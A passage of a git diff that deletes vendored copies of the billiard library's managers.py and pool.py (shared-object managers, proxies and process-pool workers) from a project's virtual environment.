self.stop_event.is_set(): - self.stop_event.wait(1) - except (KeyboardInterrupt, SystemExit): - pass - finally: - if sys.stdout != sys.__stdout__: - util.debug('resetting stdout, stderr') - sys.stdout = sys.__stdout__ - sys.stderr = sys.__stderr__ - sys.exit(0) - - def accepter(self): - while True: - try: - c = self.listener.accept() - except OSError: - continue - t = threading.Thread(target=self.handle_request, args=(c, )) - t.daemon = True - t.start() - - def handle_request(self, c): - ''' - Handle a new connection - ''' - funcname = result = request = None - try: - connection.deliver_challenge(c, self.authkey) - connection.answer_challenge(c, self.authkey) - request = c.recv() - ignore, funcname, args, kwds = request - assert funcname in self.public, '%r unrecognized' % funcname - func = getattr(self, funcname) - except Exception: - msg = ('#TRACEBACK', format_exc()) - else: - try: - result = func(c, *args, **kwds) - except Exception: - msg = ('#TRACEBACK', format_exc()) - else: - msg = ('#RETURN', result) - try: - c.send(msg) - except Exception as exc: - try: - c.send(('#TRACEBACK', format_exc())) - except Exception: - pass - util.info('Failure to send message: %r', msg) - util.info(' ... request was %r', request) - util.info(' ... exception was %r', exc) - - c.close() - - def serve_client(self, conn): - ''' - Handle requests from the proxies in a particular process/thread - ''' - util.debug('starting server thread to service %r', - threading.current_thread().name) - - recv = conn.recv - send = conn.send - id_to_obj = self.id_to_obj - - while not self.stop_event.is_set(): - - try: - methodname = obj = None - request = recv() - ident, methodname, args, kwds = request - obj, exposed, gettypeid = id_to_obj[ident] - - if methodname not in exposed: - raise AttributeError( - 'method %r of %r object is not in exposed=%r' % ( - methodname, type(obj), exposed) - ) - - function = getattr(obj, methodname) - - try: - res = function(*args, **kwds) - except Exception as exc: - msg = ('#ERROR', exc) - else: - typeid = gettypeid and gettypeid.get(methodname, None) - if typeid: - rident, rexposed = self.create(conn, typeid, res) - token = Token(typeid, self.address, rident) - msg = ('#PROXY', (rexposed, token)) - else: - msg = ('#RETURN', res) - - except AttributeError: - if methodname is None: - msg = ('#TRACEBACK', format_exc()) - else: - try: - fallback_func = self.fallback_mapping[methodname] - result = fallback_func( - self, conn, ident, obj, *args, **kwds - ) - msg = ('#RETURN', result) - except Exception: - msg = ('#TRACEBACK', format_exc()) - - except EOFError: - util.debug('got EOF -- exiting thread serving %r', - threading.current_thread().name) - sys.exit(0) - - except Exception: - msg = ('#TRACEBACK', format_exc()) - - try: - try: - send(msg) - except Exception: - send(('#UNSERIALIZABLE', repr(msg))) - except Exception as exc: - util.info('exception in thread serving %r', - threading.current_thread().name) - util.info(' ... message was %r', msg) - util.info(' ... exception was %r', exc) - conn.close() - sys.exit(1) - - def fallback_getvalue(self, conn, ident, obj): - return obj - - def fallback_str(self, conn, ident, obj): - return str(obj) - - def fallback_repr(self, conn, ident, obj): - return repr(obj) - - fallback_mapping = { - '__str__': fallback_str, - '__repr__': fallback_repr, - '#GETVALUE': fallback_getvalue, - } - - def dummy(self, c): - pass - - def debug_info(self, c): - ''' - Return some info --- useful to spot problems with refcounting - ''' - with self.mutex: - result = [] - keys = list(self.id_to_obj.keys()) - keys.sort() - for ident in keys: - if ident != '0': - result.append(' %s: refcount=%s\n %s' % - (ident, self.id_to_refcount[ident], - str(self.id_to_obj[ident][0])[:75])) - return '\n'.join(result) - - def number_of_objects(self, c): - ''' - Number of shared objects - ''' - return len(self.id_to_obj) - 1 # don't count ident='0' - - def shutdown(self, c): - ''' - Shutdown this process - ''' - try: - util.debug('Manager received shutdown message') - c.send(('#RETURN', None)) - except: - import traceback - traceback.print_exc() - finally: - self.stop_event.set() - - def create(self, c, typeid, *args, **kwds): - ''' - Create a new shared object and return its id - ''' - with self.mutex: - callable, exposed, method_to_typeid, proxytype = \ - self.registry[typeid] - - if callable is None: - assert len(args) == 1 and not kwds - obj = args[0] - else: - obj = callable(*args, **kwds) - - if exposed is None: - exposed = public_methods(obj) - if method_to_typeid is not None: - assert type(method_to_typeid) is dict - exposed = list(exposed) + list(method_to_typeid) - # convert to string because xmlrpclib - # only has 32 bit signed integers - ident = '%x' % id(obj) - util.debug('%r callable returned object with id %r', typeid, ident) - - self.id_to_obj[ident] = (obj, set(exposed), method_to_typeid) - if ident not in self.id_to_refcount: - self.id_to_refcount[ident] = 0 - # increment the reference count immediately, to avoid - # this object being garbage collected before a Proxy - # object for it can be created. The caller of create() - # is responsible for doing a decref once the Proxy object - # has been created. - self.incref(c, ident) - return ident, tuple(exposed) - - def get_methods(self, c, token): - ''' - Return the methods of the shared object indicated by token - ''' - return tuple(self.id_to_obj[token.id][1]) - - def accept_connection(self, c, name): - ''' - Spawn a new thread to serve this connection - ''' - threading.current_thread().name = name - c.send(('#RETURN', None)) - self.serve_client(c) - - def incref(self, c, ident): - with self.mutex: - self.id_to_refcount[ident] += 1 - - def decref(self, c, ident): - with self.mutex: - assert self.id_to_refcount[ident] >= 1 - self.id_to_refcount[ident] -= 1 - if self.id_to_refcount[ident] == 0: - del self.id_to_obj[ident], self.id_to_refcount[ident] - util.debug('disposing of obj with id %r', ident) - -# -# Class to represent state of a manager -# - - -class State: - __slots__ = ['value'] - INITIAL = 0 - STARTED = 1 - SHUTDOWN = 2 - -# -# Mapping from serializer name to Listener and Client types -# - -listener_client = { - 'pickle': (connection.Listener, connection.Client), - 'xmlrpclib': (connection.XmlListener, connection.XmlClient), -} - -# -# Definition of BaseManager -# - - -class BaseManager: - ''' - Base class for managers - ''' - _registry = {} - _Server = Server - - def __init__(self, address=None, authkey=None, serializer='pickle', - ctx=None): - if authkey is None: - authkey = process.current_process().authkey - self._address = address # XXX not final address if eg ('', 0) - self._authkey = process.AuthenticationString(authkey) - self._state = State() - self._state.value = State.INITIAL - self._serializer = serializer - self._Listener, self._Client = listener_client[serializer] - self._ctx = ctx or get_context() - - def __reduce__(self): - return (type(self).from_address, - (self._address, self._authkey, self._serializer)) - - def get_server(self): - ''' - Return server object with serve_forever() method and address attribute - ''' - assert self._state.value == State.INITIAL - return Server(self._registry, self._address, - self._authkey, self._serializer) - - def connect(self): - ''' - Connect manager object to the server process - ''' - Listener, Client = listener_client[self._serializer] - conn = Client(self._address, authkey=self._authkey) - dispatch(conn, None, 'dummy') - self._state.value = State.STARTED - - def start(self, initializer=None, initargs=()): - ''' - Spawn a server process for this manager object - ''' - assert self._state.value == State.INITIAL - - if initializer is not None and not callable(initializer): - raise TypeError('initializer must be a callable') - - # pipe over which we will retrieve address of server - reader, writer = connection.Pipe(duplex=False) - - # spawn process which runs a server - self._process = self._ctx.Process( - target=type(self)._run_server, - args=(self._registry, self._address, self._authkey, - self._serializer, writer, initializer, initargs), - ) - ident = ':'.join(str(i) for i in self._process._identity) - self._process.name = type(self).__name__ + '-' + ident - self._process.start() - - # get address of server - writer.close() - self._address = reader.recv() - reader.close() - - # register a finalizer - self._state.value = State.STARTED - self.shutdown = util.Finalize( - self, type(self)._finalize_manager, - args=(self._process, self._address, self._authkey, - self._state, self._Client), - exitpriority=0 - ) - - @classmethod - def _run_server(cls, registry, address, authkey, serializer, writer, - initializer=None, initargs=()): - ''' - Create a server, report its address and run it - ''' - if initializer is not None: - initializer(*initargs) - - # create server - server = cls._Server(registry, address, authkey, serializer) - - # inform parent process of the server's address - writer.send(server.address) - writer.close() - - # run the manager - util.info('manager serving at %r', server.address) - server.serve_forever() - - def _create(self, typeid, *args, **kwds): - ''' - Create a new shared object; return the token and exposed tuple - ''' - assert self._state.value == State.STARTED, 'server not yet started' - conn = self._Client(self._address, authkey=self._authkey) - try: - id, exposed = dispatch(conn, None, 'create', - (typeid,) + args, kwds) - finally: - conn.close() - return Token(typeid, self._address, id), exposed - - def join(self, timeout=None): - ''' - Join the manager process (if it has been spawned) - ''' - if self._process is not None: - self._process.join(timeout) - if not self._process.is_alive(): - self._process = None - - def _debug_info(self): - ''' - Return some info about the servers shared objects and connections - ''' - conn = self._Client(self._address, authkey=self._authkey) - try: - return dispatch(conn, None, 'debug_info') - finally: - conn.close() - - def _number_of_objects(self): - ''' - Return the number of shared objects - ''' - conn = self._Client(self._address, authkey=self._authkey) - try: - return dispatch(conn, None, 'number_of_objects') - finally: - conn.close() - - def __enter__(self): - if self._state.value == State.INITIAL: - self.start() - assert self._state.value == State.STARTED - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - self.shutdown() - - @staticmethod - def _finalize_manager(process, address, authkey, state, _Client): - ''' - Shutdown the manager process; will be registered as a finalizer - ''' - if process.is_alive(): - util.info('sending shutdown message to manager') - try: - conn = _Client(address, authkey=authkey) - try: - dispatch(conn, None, 'shutdown') - finally: - conn.close() - except Exception: - pass - - process.join(timeout=1.0) - if process.is_alive(): - util.info('manager still alive') - if hasattr(process, 'terminate'): - util.info('trying to `terminate()` manager process') - process.terminate() - process.join(timeout=0.1) - if process.is_alive(): - util.info('manager still alive after terminate') - - state.value = State.SHUTDOWN - try: - del BaseProxy._address_to_local[address] - except KeyError: - pass - - address = property(lambda self: self._address) - - @classmethod - def register(cls, typeid, callable=None, proxytype=None, exposed=None, - method_to_typeid=None, create_method=True): - ''' - Register a typeid with the manager type - ''' - if '_registry' not in cls.__dict__: - cls._registry = cls._registry.copy() - - if proxytype is None: - proxytype = AutoProxy - - exposed = exposed or getattr(proxytype, '_exposed_', None) - - method_to_typeid = ( - method_to_typeid or - getattr(proxytype, '_method_to_typeid_', None) - ) - - if method_to_typeid: - for key, value in method_to_typeid.items(): - assert type(key) is str, '%r is not a string' % key - assert type(value) is str, '%r is not a string' % value - - cls._registry[typeid] = ( - callable, exposed, method_to_typeid, proxytype - ) - - if create_method: - def temp(self, *args, **kwds): - util.debug('requesting creation of a shared %r object', typeid) - token, exp = self._create(typeid, *args, **kwds) - proxy = proxytype( - token, self._serializer, manager=self, - authkey=self._authkey, exposed=exp - ) - conn = self._Client(token.address, authkey=self._authkey) - dispatch(conn, None, 'decref', (token.id,)) - return proxy - temp.__name__ = typeid - setattr(cls, typeid, temp) - -# -# Subclass of set which get cleared after a fork -# - - -class ProcessLocalSet(set): - - def __init__(self): - util.register_after_fork(self, lambda obj: obj.clear()) - - def __reduce__(self): - return type(self), () - -# -# Definition of BaseProxy -# - - -class BaseProxy: - ''' - A base for proxies of shared objects - ''' - _address_to_local = {} - _mutex = util.ForkAwareThreadLock() - - def __init__(self, token, serializer, manager=None, - authkey=None, exposed=None, incref=True): - with BaseProxy._mutex: - tls_idset = BaseProxy._address_to_local.get(token.address, None) - if tls_idset is None: - tls_idset = util.ForkAwareLocal(), ProcessLocalSet() - BaseProxy._address_to_local[token.address] = tls_idset - - # self._tls is used to record the connection used by this - # thread to communicate with the manager at token.address - self._tls = tls_idset[0] - - # self._idset is used to record the identities of all shared - # objects for which the current process owns references and - # which are in the manager at token.address - self._idset = tls_idset[1] - - self._token = token - self._id = self._token.id - self._manager = manager - self._serializer = serializer - self._Client = listener_client[serializer][1] - - if authkey is not None: - self._authkey = process.AuthenticationString(authkey) - elif self._manager is not None: - self._authkey = self._manager._authkey - else: - self._authkey = process.current_process().authkey - - if incref: - self._incref() - - util.register_after_fork(self, BaseProxy._after_fork) - - def _connect(self): - util.debug('making connection to manager') - name = process.current_process().name - if threading.current_thread().name != 'MainThread': - name += '|' + threading.current_thread().name - conn = self._Client(self._token.address, authkey=self._authkey) - dispatch(conn, None, 'accept_connection', (name,)) - self._tls.connection = conn - - def _callmethod(self, methodname, args=(), kwds={}): - ''' - Try to call a method of the referrent and return a copy of the result - ''' - try: - conn = self._tls.connection - except AttributeError: - util.debug('thread %r does not own a connection', - threading.current_thread().name) - self._connect() - conn = self._tls.connection - - conn.send((self._id, methodname, args, kwds)) - kind, result = conn.recv() - - if kind == '#RETURN': - return result - elif kind == '#PROXY': - exposed, token = result - proxytype = self._manager._registry[token.typeid][-1] - token.address = self._token.address - proxy = proxytype( - token, self._serializer, manager=self._manager, - authkey=self._authkey, exposed=exposed - ) - conn = self._Client(token.address, authkey=self._authkey) - dispatch(conn, None, 'decref', (token.id,)) - return proxy - raise convert_to_error(kind, result) - - def _getvalue(self): - ''' - Get a copy of the value of the referent - ''' - return self._callmethod('#GETVALUE') - - def _incref(self): - conn = self._Client(self._token.address, authkey=self._authkey) - dispatch(conn, None, 'incref', (self._id,)) - util.debug('INCREF %r', self._token.id) - - self._idset.add(self._id) - - state = self._manager and self._manager._state - - self._close = util.Finalize( - self, BaseProxy._decref, - args=(self._token, self._authkey, state, - self._tls, self._idset, self._Client), - exitpriority=10 - ) - - @staticmethod - def _decref(token, authkey, state, tls, idset, _Client): - idset.discard(token.id) - - # check whether manager is still alive - if state is None or state.value == State.STARTED: - # tell manager this process no longer cares about referent - try: - util.debug('DECREF %r', token.id) - conn = _Client(token.address, authkey=authkey) - dispatch(conn, None, 'decref', (token.id,)) - except Exception as exc: - util.debug('... decref failed %s', exc) - - else: - util.debug('DECREF %r -- manager already shutdown', token.id) - - # check whether we can close this thread's connection because - # the process owns no more references to objects for this manager - if not idset and hasattr(tls, 'connection'): - util.debug('thread %r has no more proxies so closing conn', - threading.current_thread().name) - tls.connection.close() - del tls.connection - - def _after_fork(self): - self._manager = None - try: - self._incref() - except Exception as exc: - # the proxy may just be for a manager which has shutdown - util.info('incref failed: %s', exc) - - def __reduce__(self): - kwds = {} - if context.get_spawning_popen() is not None: - kwds['authkey'] = self._authkey - - if getattr(self, '_isauto', False): - kwds['exposed'] = self._exposed_ - return (RebuildProxy, - (AutoProxy, self._token, self._serializer, kwds)) - else: - return (RebuildProxy, - (type(self), self._token, self._serializer, kwds)) - - def __deepcopy__(self, memo): - return self._getvalue() - - def __repr__(self): - return '<%s object, typeid %r at %#x>' % \ - (type(self).__name__, self._token.typeid, id(self)) - - def __str__(self): - ''' - Return representation of the referent (or a fall-back if that fails) - ''' - try: - return self._callmethod('__repr__') - except Exception: - return repr(self)[:-1] + "; '__str__()' failed>" - -# -# Function used for unpickling -# - - -def RebuildProxy(func, token, serializer, kwds): - ''' - Function used for unpickling proxy objects. - - If possible the shared object is returned, or otherwise a proxy for it. - ''' - server = getattr(process.current_process(), '_manager_server', None) - - if server and server.address == token.address: - return server.id_to_obj[token.id][0] - else: - incref = ( - kwds.pop('incref', True) and - not getattr(process.current_process(), '_inheriting', False) - ) - return func(token, serializer, incref=incref, **kwds) - -# -# Functions to create proxies and proxy types -# - - -def MakeProxyType(name, exposed, _cache={}): - ''' - Return an proxy type whose methods are given by `exposed` - ''' - exposed = tuple(exposed) - try: - return _cache[(name, exposed)] - except KeyError: - pass - - dic = {} - - for meth in exposed: - exec('''def %s(self, *args, **kwds): - return self._callmethod(%r, args, kwds)''' % (meth, meth), dic) - - ProxyType = type(name, (BaseProxy,), dic) - ProxyType._exposed_ = exposed - _cache[(name, exposed)] = ProxyType - return ProxyType - - -def AutoProxy(token, serializer, manager=None, authkey=None, - exposed=None, incref=True): - ''' - Return an auto-proxy for `token` - ''' - _Client = listener_client[serializer][1] - - if exposed is None: - conn = _Client(token.address, authkey=authkey) - try: - exposed = dispatch(conn, None, 'get_methods', (token,)) - finally: - conn.close() - - if authkey is None and manager is not None: - authkey = manager._authkey - if authkey is None: - authkey = process.current_process().authkey - - ProxyType = MakeProxyType('AutoProxy[%s]' % token.typeid, exposed) - proxy = ProxyType(token, serializer, manager=manager, authkey=authkey, - incref=incref) - proxy._isauto = True - return proxy - -# -# Types/callables which we will register with SyncManager -# - - -class Namespace: - - def __init__(self, **kwds): - self.__dict__.update(kwds) - - def __repr__(self): - _items = list(self.__dict__.items()) - temp = [] - for name, value in _items: - if not name.startswith('_'): - temp.append('%s=%r' % (name, value)) - temp.sort() - return '%s(%s)' % (self.__class__.__name__, ', '.join(temp)) - - -class Value: - - def __init__(self, typecode, value, lock=True): - self._typecode = typecode - self._value = value - - def get(self): - return self._value - - def set(self, value): - self._value = value - - def __repr__(self): - return '%s(%r, %r)' % (type(self).__name__, - self._typecode, self._value) - value = property(get, set) - - -def Array(typecode, sequence, lock=True): - return array.array(typecode, sequence) - -# -# Proxy types used by SyncManager -# - - -class IteratorProxy(BaseProxy): - if sys.version_info[0] == 3: - _exposed = ('__next__', 'send', 'throw', 'close') - else: - _exposed_ = ('__next__', 'next', 'send', 'throw', 'close') - - def next(self, *args): - return self._callmethod('next', args) - - def __iter__(self): - return self - - def __next__(self, *args): - return self._callmethod('__next__', args) - - def send(self, *args): - return self._callmethod('send', args) - - def throw(self, *args): - return self._callmethod('throw', args) - - def close(self, *args): - return self._callmethod('close', args) - - -class AcquirerProxy(BaseProxy): - _exposed_ = ('acquire', 'release') - - def acquire(self, blocking=True, timeout=None): - args = (blocking, ) if timeout is None else (blocking, timeout) - return self._callmethod('acquire', args) - - def release(self): - return self._callmethod('release') - - def __enter__(self): - return self._callmethod('acquire') - - def __exit__(self, exc_type, exc_val, exc_tb): - return self._callmethod('release') - - -class ConditionProxy(AcquirerProxy): - _exposed_ = ('acquire', 'release', 'wait', 'notify', 'notify_all') - - def wait(self, timeout=None): - return self._callmethod('wait', (timeout,)) - - def notify(self): - return self._callmethod('notify') - - def notify_all(self): - return self._callmethod('notify_all') - - def wait_for(self, predicate, timeout=None): - result = predicate() - if result: - return result - if timeout is not None: - endtime = monotonic() + timeout - else: - endtime = None - waittime = None - while not result: - if endtime is not None: - waittime = endtime - monotonic() - if waittime <= 0: - break - self.wait(waittime) - result = predicate() - return result - - -class EventProxy(BaseProxy): - _exposed_ = ('is_set', 'set', 'clear', 'wait') - - def is_set(self): - return self._callmethod('is_set') - - def set(self): - return self._callmethod('set') - - def clear(self): - return self._callmethod('clear') - - def wait(self, timeout=None): - return self._callmethod('wait', (timeout,)) - - -class BarrierProxy(BaseProxy): - _exposed_ = ('__getattribute__', 'wait', 'abort', 'reset') - - def wait(self, timeout=None): - return self._callmethod('wait', (timeout, )) - - def abort(self): - return self._callmethod('abort') - - def reset(self): - return self._callmethod('reset') - - @property - def parties(self): - return self._callmethod('__getattribute__', ('parties', )) - - @property - def n_waiting(self): - return self._callmethod('__getattribute__', ('n_waiting', )) - - @property - def broken(self): - return self._callmethod('__getattribute__', ('broken', )) - - -class NamespaceProxy(BaseProxy): - _exposed_ = ('__getattribute__', '__setattr__', '__delattr__') - - def __getattr__(self, key): - if key[0] == '_': - return object.__getattribute__(self, key) - callmethod = object.__getattribute__(self, '_callmethod') - return callmethod('__getattribute__', (key,)) - - def __setattr__(self, key, value): - if key[0] == '_': - return object.__setattr__(self, key, value) - callmethod = object.__getattribute__(self, '_callmethod') - return callmethod('__setattr__', (key, value)) - - def __delattr__(self, key): - if key[0] == '_': - return object.__delattr__(self, key) - callmethod = object.__getattribute__(self, '_callmethod') - return callmethod('__delattr__', (key,)) - - -class ValueProxy(BaseProxy): - _exposed_ = ('get', 'set') - - def get(self): - return self._callmethod('get') - - def set(self, value): - return self._callmethod('set', (value,)) - value = property(get, set) - - -_ListProxy_Attributes = ( - '__add__', '__contains__', '__delitem__', '__getitem__', '__len__', - '__mul__', '__reversed__', '__rmul__', '__setitem__', - 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', - 'reverse', 'sort', '__imul__', -) -if not PY3: - _ListProxy_Attributes += ('__getslice__', '__setslice__', '__delslice__') -BaseListProxy = MakeProxyType('BaseListProxy', _ListProxy_Attributes) - - -class ListProxy(BaseListProxy): - - def __iadd__(self, value): - self._callmethod('extend', (value,)) - return self - - def __imul__(self, value): - self._callmethod('__imul__', (value,)) - return self - - -DictProxy = MakeProxyType('DictProxy', ( - '__contains__', '__delitem__', '__getitem__', '__len__', - '__setitem__', 'clear', 'copy', 'get', 'has_key', 'items', - 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', -)) - - -_ArrayProxy_Attributes = ( - '__len__', '__getitem__', '__setitem__', -) -if not PY3: - _ArrayProxy_Attributes += ('__getslice__', '__setslice__') -ArrayProxy = MakeProxyType('ArrayProxy', _ArrayProxy_Attributes) - - -BasePoolProxy = MakeProxyType('PoolProxy', ( - 'apply', 'apply_async', 'close', 'imap', 'imap_unordered', 'join', - 'map', 'map_async', 'starmap', 'starmap_async', 'terminate', -)) -BasePoolProxy._method_to_typeid_ = { - 'apply_async': 'AsyncResult', - 'map_async': 'AsyncResult', - 'starmap_async': 'AsyncResult', - 'imap': 'Iterator', - 'imap_unordered': 'Iterator', -} - - -class PoolProxy(BasePoolProxy): - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.terminate() - - -# -# Definition of SyncManager -# - - -class SyncManager(BaseManager): - ''' - Subclass of `BaseManager` which supports a number of shared object types. - - The types registered are those intended for the synchronization - of threads, plus `dict`, `list` and `Namespace`. - - The `billiard.Manager()` function creates started instances of - this class. - ''' - -SyncManager.register('Queue', Queue) -SyncManager.register('JoinableQueue', Queue) -SyncManager.register('Event', threading.Event, EventProxy) -SyncManager.register('Lock', threading.Lock, AcquirerProxy) -SyncManager.register('RLock', threading.RLock, AcquirerProxy) -SyncManager.register('Semaphore', threading.Semaphore, AcquirerProxy) -SyncManager.register('BoundedSemaphore', threading.BoundedSemaphore, - AcquirerProxy) -SyncManager.register('Condition', threading.Condition, ConditionProxy) -if hasattr(threading, 'Barrier'): # PY3 - SyncManager.register('Barrier', threading.Barrier, BarrierProxy) -SyncManager.register('Pool', pool.Pool, PoolProxy) -SyncManager.register('list', list, ListProxy) -SyncManager.register('dict', dict, DictProxy) -SyncManager.register('Value', Value, ValueProxy) -SyncManager.register('Array', Array, ArrayProxy) -SyncManager.register('Namespace', Namespace, NamespaceProxy) - -# types returned by methods of PoolProxy -SyncManager.register('Iterator', proxytype=IteratorProxy, create_method=False) -SyncManager.register('AsyncResult', create_method=False) diff --git a/venv/Lib/site-packages/billiard/pool.py b/venv/Lib/site-packages/billiard/pool.py deleted file mode 100644 index 76d0be6777534a2e1bea28629bf9b72e352b6e98..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/pool.py +++ /dev/null @@ -1,2053 +0,0 @@ -# -# Module providing the `Pool` class for managing a process pool -# -# multiprocessing/pool.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -# -# Imports -# -import copy -import errno -import itertools -import os -import platform -import signal -import sys -import threading -import time -import warnings - -from collections import deque -from functools import partial - -from . import cpu_count, get_context -from . import util -from .common import ( - TERM_SIGNAL, human_status, pickle_loads, reset_signals, restart_state, -) -from .compat import get_errno, mem_rss, send_offset -from .einfo import ExceptionInfo -from .dummy import DummyProcess -from .exceptions import ( - CoroStop, - RestartFreqExceeded, - SoftTimeLimitExceeded, - Terminated, - TimeLimitExceeded, - TimeoutError, - WorkerLostError, -) -from time import monotonic -from queue import Queue, Empty -from .util import Finalize, debug, warning - -MAXMEM_USED_FMT = """\ -child process exiting after exceeding memory limit ({0}KiB / {1}KiB) -""" - -PY3 = sys.version_info[0] == 3 - -if platform.system() == 'Windows': # pragma: no cover - # On Windows os.kill calls TerminateProcess which cannot be - # handled by # any process, so this is needed to terminate the task - # *and its children* (if any). - from ._win import kill_processtree as _kill # noqa - SIGKILL = TERM_SIGNAL -else: - from os import kill as _kill # noqa - SIGKILL = signal.SIGKILL - - -try: - TIMEOUT_MAX = threading.TIMEOUT_MAX -except AttributeError: # pragma: no cover - TIMEOUT_MAX = 1e10 # noqa - - -if sys.version_info >= (3, 3): - _Semaphore = threading.Semaphore -else: - # Semaphore is a factory function pointing to _Semaphore - _Semaphore = threading._Semaphore # noqa - -# -# Constants representing the state of a pool -# - -RUN = 0 -CLOSE = 1 -TERMINATE = 2 - -# -# Constants representing the state of a job -# - -ACK = 0 -READY = 1 -TASK = 2 -NACK = 3 -DEATH = 4 - -# -# Exit code constants -# -EX_OK = 0 -EX_FAILURE = 1 -EX_RECYCLE = 0x9B - - -# Signal used for soft time limits. -SIG_SOFT_TIMEOUT = getattr(signal, "SIGUSR1", None) - -# -# Miscellaneous -# - -LOST_WORKER_TIMEOUT = 10.0 -EX_OK = getattr(os, "EX_OK", 0) -GUARANTEE_MESSAGE_CONSUMPTION_RETRY_LIMIT = 300 -GUARANTEE_MESSAGE_CONSUMPTION_RETRY_INTERVAL = 0.1 - -job_counter = itertools.count() - -Lock = threading.Lock - - -def _get_send_offset(connection): - try: - native = connection.send_offset - except AttributeError: - native = None - if native is None: - return partial(send_offset, connection.fileno()) - return native - - -def mapstar(args): - return list(map(*args)) - - -def starmapstar(args): - return list(itertools.starmap(args[0], args[1])) - - -def error(msg, *args, **kwargs): - util.get_logger().error(msg, *args, **kwargs) - - -def stop_if_not_current(thread, timeout=None): - if thread is not threading.current_thread(): - thread.stop(timeout) - - -class LaxBoundedSemaphore(_Semaphore): - """Semaphore that checks that # release is <= # acquires, - but ignores if # releases >= value.""" - - def shrink(self): - self._initial_value -= 1 - self.acquire() - - if PY3: - - def __init__(self, value=1, verbose=None): - _Semaphore.__init__(self, value) - self._initial_value = value - - def grow(self): - with self._cond: - self._initial_value += 1 - self._value += 1 - self._cond.notify() - - def release(self): - cond = self._cond - with cond: - if self._value < self._initial_value: - self._value += 1 - cond.notify_all() - - def clear(self): - while self._value < self._initial_value: - _Semaphore.release(self) - else: - - def __init__(self, value=1, verbose=None): - _Semaphore.__init__(self, value, verbose) - self._initial_value = value - - def grow(self): - cond = self._Semaphore__cond - with cond: - self._initial_value += 1 - self._Semaphore__value += 1 - cond.notify() - - def release(self): # noqa - cond = self._Semaphore__cond - with cond: - if self._Semaphore__value < self._initial_value: - self._Semaphore__value += 1 - cond.notifyAll() - - def clear(self): # noqa - while self._Semaphore__value < self._initial_value: - _Semaphore.release(self) - -# -# Exceptions -# - - -class MaybeEncodingError(Exception): - """Wraps possible unpickleable errors, so they can be - safely sent through the socket.""" - - def __init__(self, exc, value): - self.exc = repr(exc) - self.value = repr(value) - super().__init__(self.exc, self.value) - - def __repr__(self): - return "<%s: %s>" % (self.__class__.__name__, str(self)) - - def __str__(self): - return "Error sending result: '%r'. Reason: '%r'." % ( - self.value, self.exc) - - -class WorkersJoined(Exception): - """All workers have terminated.""" - - -def soft_timeout_sighandler(signum, frame): - raise SoftTimeLimitExceeded() - -# -# Code run by worker processes -# - - -class Worker: - - def __init__(self, inq, outq, synq=None, initializer=None, initargs=(), - maxtasks=None, sentinel=None, on_exit=None, - sigprotection=True, wrap_exception=True, - max_memory_per_child=None, on_ready_counter=None): - assert maxtasks is None or (type(maxtasks) == int and maxtasks > 0) - self.initializer = initializer - self.initargs = initargs - self.maxtasks = maxtasks - self.max_memory_per_child = max_memory_per_child - self._shutdown = sentinel - self.on_exit = on_exit - self.sigprotection = sigprotection - self.inq, self.outq, self.synq = inq, outq, synq - self.wrap_exception = wrap_exception # XXX cannot disable yet - self.on_ready_counter = on_ready_counter - self.contribute_to_object(self) - - def contribute_to_object(self, obj): - obj.inq, obj.outq, obj.synq = self.inq, self.outq, self.synq - obj.inqW_fd = self.inq._writer.fileno() # inqueue write fd - obj.outqR_fd = self.outq._reader.fileno() # outqueue read fd - if self.synq: - obj.synqR_fd = self.synq._reader.fileno() # synqueue read fd - obj.synqW_fd = self.synq._writer.fileno() # synqueue write fd - obj.send_syn_offset = _get_send_offset(self.synq._writer) - else: - obj.synqR_fd = obj.synqW_fd = obj._send_syn_offset = None - obj._quick_put = self.inq._writer.send - obj._quick_get = self.outq._reader.recv - obj.send_job_offset = _get_send_offset(self.inq._writer) - return obj - - def __reduce__(self): - return self.__class__, ( - self.inq, self.outq, self.synq, self.initializer, - self.initargs, self.maxtasks, self._shutdown, self.on_exit, - self.sigprotection, self.wrap_exception, self.max_memory_per_child, - self.on_ready_counter - ) - - def __call__(self): - _exit = sys.exit - _exitcode = [None] - - def exit(status=None): - _exitcode[0] = status - return _exit(status) - sys.exit = exit - - pid = os.getpid() - - self._make_child_methods() - self.after_fork() - self.on_loop_start(pid=pid) # callback on loop start - try: - sys.exit(self.workloop(pid=pid)) - except Exception as exc: - error('Pool process %r error: %r', self, exc, exc_info=1) - self._do_exit(pid, _exitcode[0], exc) - finally: - self._do_exit(pid, _exitcode[0], None) - - def _do_exit(self, pid, exitcode, exc=None): - if exitcode is None: - exitcode = EX_FAILURE if exc else EX_OK - - if self.on_exit is not None: - self.on_exit(pid, exitcode) - - if sys.platform != 'win32': - try: - self.outq.put((DEATH, (pid, exitcode))) - time.sleep(1) - finally: - os._exit(exitcode) - else: - os._exit(exitcode) - - def on_loop_start(self, pid): - pass - - def prepare_result(self, result): - return result - - def workloop(self, debug=debug, now=monotonic, pid=None): - pid = pid or os.getpid() - put = self.outq.put - inqW_fd = self.inqW_fd - synqW_fd = self.synqW_fd - maxtasks = self.maxtasks - max_memory_per_child = self.max_memory_per_child or 0 - prepare_result = self.prepare_result - - wait_for_job = self.wait_for_job - _wait_for_syn = self.wait_for_syn - - def wait_for_syn(jid): - i = 0 - while 1: - if i > 60: - error('!!!WAIT FOR ACK TIMEOUT: job:%r fd:%r!!!', - jid, self.synq._reader.fileno(), exc_info=1) - req = _wait_for_syn() - if req: - type_, args = req - if type_ == NACK: - return False - assert type_ == ACK - return True - i += 1 - - completed = 0 - try: - while maxtasks is None or (maxtasks and completed < maxtasks): - req = wait_for_job() - if req: - type_, args_ = req - assert type_ == TASK - job, i, fun, args, kwargs = args_ - put((ACK, (job, i, now(), pid, synqW_fd))) - if _wait_for_syn: - confirm = wait_for_syn(job) - if not confirm: - continue # received NACK - try: - result = (True, prepare_result(fun(*args, **kwargs))) - except Exception: - result = (False, ExceptionInfo()) - try: - put((READY, (job, i, result, inqW_fd))) - except Exception as exc: - _, _, tb = sys.exc_info() - try: - wrapped = MaybeEncodingError(exc, result[1]) - einfo = ExceptionInfo(( - MaybeEncodingError, wrapped, tb, - )) - put((READY, (job, i, (False, einfo), inqW_fd))) - finally: - del(tb) - completed += 1 - if max_memory_per_child > 0: - used_kb = mem_rss() - if used_kb <= 0: - error('worker unable to determine memory usage') - if used_kb > 0 and used_kb > 